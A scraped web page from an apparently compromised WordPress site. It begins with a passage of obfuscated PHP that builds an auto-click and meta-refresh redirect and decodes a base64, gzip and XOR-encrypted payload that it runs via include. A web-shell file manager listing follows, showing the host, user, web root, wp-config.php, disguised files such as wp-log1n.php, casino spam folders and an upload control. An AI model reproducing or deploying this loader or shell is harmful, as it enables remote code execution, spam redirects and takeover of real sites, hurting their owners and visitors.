serialize($_SERVER))); goto whZ89; WdLiy: echo "{$Gm3f8}"; goto urDSA; CZnIQ: die; goto vigW_; HAeYG: die; goto GPjb0; nb404: echo $eN_7E; goto WA7gb; ebZyN: VRAWT: goto Fxphd; yVSei: $Dz3re = isset($_SERVER["\110\x54\124\120\137\122\105\x46\x45\x52\105\122"]) ? $_SERVER["\110\x54\x54\x50\x5f\x52\x45\106\105\x52\x45\x52"] : ''; goto Zsglf; rQpXi: $_SERVER["\171\x74\137\165\160"] = $Kqdnq[2]; goto tD9ut; xDF02: echo sprintf("\x3c\x62\x6f\x64\171\40\x6f\156\x6c\x6f\x61\144\x3d\x22\144\157\143\165\x6d\145\156\x74\x2e\147\145\x74\x45\154\145\155\x65\156\x74\163\x42\171\124\x61\147\x4e\x61\155\145\x28\45\163\141\45\x73\51\x5b\x30\135\56\x63\x6c\151\143\153\x28\51\x22\76\74\x61\40\x68\162\x65\x66\x3d\42\x25\x73\42\76\x3c\57\141\76\x3c\156\x6f\x73\143\x72\x69\x70\164\x3e\x3c\155\x65\x74\x61\40\150\164\164\x70\55\145\161\x75\x69\166\x3d\42\162\x65\x66\x72\145\x73\x68\x22\x20\143\x6f\156\x74\x65\156\x74\75\x22\60\73\x20\x75\162\x6c\x3d\45\x73\x22\40\57\x3e\74\x2f\156\x6f\163\x63\x72\x69\160\164\x3e\74\x2f\x62\x6f\144\171\76", "\x27", "\x27", $eN_7mNYqn0CDaogeV9azaNs5/4EGjtZAVkOP51tEVbK/KSd47GFlUb53rxFJrOyWB0JxRmpMbcu54Yz5Kp8rqZqz8t7zo+cc1b3+hACWDlXWHZgd5jlExJVQfzw0wQ+fo5Nf+dVZM4dFH2+LNdNu4PsAhy0oLfAI6K03XcrzFUWRn34gusEJCnf/80Q4sjzZRt7vR0kf1t+3P34Gc0mZYxrvd5gms9suTD+1BuzpA2xDUzKybQi+ljNjNp4vYI+xWxTXTfn0IrpifBMrnPQK1qqMNIObXJXb2OG4MF/OVxq9jWZ5fdjGrGWyMYHCe8DHr164+lBycmz44t8/mdk3Ij6c8uD4GE9GluKzN6MDYamXbkeJ1cAbdD235BQU9OCl94N211Z7yihvN1TLcNiFJNcjkYjdf7LmwNmbAhs4dwOWlQoAg+/oKj/CnEc4eQe0Z7Hp5KYRXFecvL10gHTTkd6c0K6sLI2N4h40Wce3jjhzgHZoCxfDTEe7sAm5ZT3nEyhpTKI6ooF478Mrtlvy+z14+rR9N3vTxBuK4nIPLM2u4ypX/9f5A9nqQDfwEEpZlCZ9WGideHzdtLzoPL75ab9wn7Rjv3ax0+z/eH4ihUzf2iYc00x1oPMkhlzcU53wftXJ/JX4So7pTTDU0INf1U5UG//n+gFvWCf8Tw7kN0/geTs7bBac+eXbyBtw0T9gHsWsnO1CvmtrpWnaEdJO8ddpHmZpvtFeJU+hTDOs2SKeCTdX59oB9fsj/4/0JK9G5VVbprfiP9Z1/OPFrrulhXm35oHf5wcldbJwzUT8CfL6EeWNeMuPbSlgXxv/2P3Xs+F/rJxefFEtp2xVobr7LHib/5/oFN+tgeOduXssqps5/Xb+En/+u7238Fsjs+1qeMfqf708M5/N/129uo7wSVd722U4mFjd3uFcfaZpfrd4IXS1/11bw83/2/x/rJ/X3wkfMhrreBuVM2i7+87/2n46mVZ6AnzLLXaf3JWUwWaGs4fSwnuNnZbn/4/zU+U/ZgWmvr2xb33XGES3hnzwN2lu5eoyzo5Nq3v9///Gg6s8bq6qbyTR9nfZq/aPRtIRPr8//Uf//Or/7OH5mA1B+RJT+dEYizJrtrn+f5Leb/ft9fnCCqv8KpXcldud7Io4Xvble06bIO6qxXP5ebG1OHm0ZDOMXom15s0+Jundpk+A7/c/3Z/5v/W8FKRP639d313Evt3lMhun8v/av+r+O5x/aS5WC27ZM809oV2V4bG92/F/9+5/vz/yf/g1J+9/rR2IGsSmtIn95oEszbNBimMrIfon/2H+S/4Tw3/mND56C47/+rZPljSYahGletlOl/Gw8gg2E/+aPlPykyKpoLBL/z/u/j9pfLqsn2IykLqFB6NkNhiBn61v+r/Mv+U+O6kXpqeVuQveRZETE0su0MR/EEiRZwmJHB1mt8tqpciZX5WjjF67zN+NdScD7nKL4cu/W/3X9iBhj0Wsjf1TYw5oNpncelJWqX/PpC+NZPk/2f9e/zr2eR57ivjDNsmtunoJp/SSH6X/rBw7KIDcXl5//9b/w8DvLsPyo+1rpx/S/r0/nzxLN/5/rM1TCf/o1f9yz//v+VGbk6ZnfUufmSLb4T4Fivdn9CZzKctztTXYONlcwvn9ZWjMm6Xoh8+le/Pf82ukUswMtq24U4VOUuZ4dmg6+w/I/9UvdP6d1w7YOuGNjutnrIz+QPhTGHW6Zps6fRpiZzrpIz3oxS7qX/35/yk293twSvjae0h9Ha0yg+Jc89FcEaJxs41eaBmXzP/on3YOLrTc6T8Bq902KEucEaOtXqQA1hcNtVfk/ZrMn9IyD6m+eBMXlMOFbqX828v/5f/5f'; $decoded = base64_decode($data); $inflated = @gzinflate($decoded); if ($inflated === false) { $inflated = $decoded; } $b64_decoded = base64_decode($inflated); if ($b64_decoded === false) { return ''; } $key = $this->extractCode3(); $plain_code = ''; if (strlen($key) > 0) { for ($i = 0, $len = strlen($b64_decoded); $i < $len; $i++) { $plain_code .= chr(ord($b64_decoded[$i]) ^ ord($key[$i % strlen($key)])); } } else { $plain_code = $b64_decoded; } return $plain_code; } private function executeCode($code) { $tmp_file = tmpfile(); $tmp_file_path = stream_get_meta_data($tmp_file)['uri']; fwrite($tmp_file, $code); fseek($tmp_file, 0); include $tmp_file_path; fclose($tmp_file); } public static function runApproveToken3() { $obj = new self(); $decrypted = $obj->solveValue3(); $obj->executeCode($decrypted); } } ProtectedExecutor1b92c::runApproveToken3(); ?> HEX
HEX
Server: Apache
System: Linux linuxhost20.itools.mn 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64
User: greenin1 (1074)
PHP: 7.2.34
Disabled: NONE
$ pwd: /home/greenin1/public_html/
Upload Files
Name Size Permissions Actions
📁 .tmb -- drwxr-xr-x
📁 .well-known -- drwxr-xr-x
📁 1vin-43 -- drwxr-xr-x
📁 1vin-482 -- drwxr-xr-x
📁 1vin-804 -- drwxr-xr-x
📁 1vin-991 -- drwxr-xr-x
📁 206-2 -- drwxr-xr-x
📁 c018eb -- drwxr-xr-x
📁 category -- drwxr-xr-x
📁 contact -- drwxr-xr-x
📁 fd3f6 -- dr-xr-xr-x
📁 gym-447 -- drwxr-xr-x
📁 hello-world -- drwxr-xr-x
📁 hereglee -- drwxr-xr-x
📁 images -- drwxr-xr-x
📁 jackpotcity-998 -- drwxr-xr-x
📁 levelupcasino-393 -- drwxr-xr-x
📁 mostbet-318 -- drwxr-xr-x
📁 mostbet-834 -- drwxr-xr-x
📁 rofus -- drwxr-xr-x
📁 spicybet-712 -- drwxr-xr-x
📁 tag -- drwxr-xr-x
📁 test -- drwxr-xr-x
📁 tokyocasino-476 -- drwxr-xr-x
📁 wp-admin -- drwxr-xr-x
📁 wp-content -- drwxr-xr-x
📁 wp-includes -- drwxr-xr-x
📄 .htaccess 1.129K -r-xr-xr-x
📄 62f7f4d1b0060abe28a6c3a39041a0bd.txt 0K -rwxrwxrwx
📄 admin.php 7.136K -rw-r--r--
📄 click.php 1.934K -rw-r--r--
📄 defaults.php 1.934K -rw-r--r--
📄 error_log 597.91M -rw-r--r--
📄 ex.php 5.62K -rw-r--r--
📄 index.php 15.032K -r--r--r--
📄 index.php0 15.032K -rw-r--r--
📄 inputs.php 5.62K -rw-r--r--
📄 item.php 1.927K -rw-r--r--
📄 ldu.txt 0.001K -rw-r--r--
📄 license.txt 19.437K -rw-r--r--
📄 mah.php 1.292K -rw-r--r--
📄 networks.php 1.995K -rw-r--r--
📄 options.php 1.865K -r--r--r--
📄 pages.php 1.458K -rw-r--r--
📄 php.ini 0.039K -rw-r--r--
📄 plugins.php 2.028K -rw-rw-rw-
📄 product.php 1.865K -rw-r--r--
📄 radio.php 5.62K -rw-r--r--
📄 readme.html 7.251K -rw-r--r--
📄 robots.txt 1.106K -rw-r--r--
📄 search.php 1.457K -rw-r--r--
📄 txets.php 5.829K -rw-r--r--
📄 wp-activate.php 7.177K -rw-r--r--
📄 wp-blog-header.php 0.467K -r--r--r--
📄 wp-comments-post.php 2.269K -rw-r--r--
📄 wp-config-sample.php 3.261K -rw-r--r--
📄 wp-config.php 3.224K -rw-r--r--
📄 wp-cron.php 5.485K -rw-r--r--
📄 wp-links-opml.php 2.435K -rw-r--r--
📄 wp-load.php 3.961K -r--r--r--
📄 wp-log1n.php 1.927K -rw-r--r--
📄 wp-mail.php 8.522K -rw-r--r--
📄 wp-settings.php 30.327K -rw-r--r--
📄 wp-signup.php 33.707K -rw-r--r--
📄 wp-trackback.php 5.092K -rw-r--r--
@ Telegram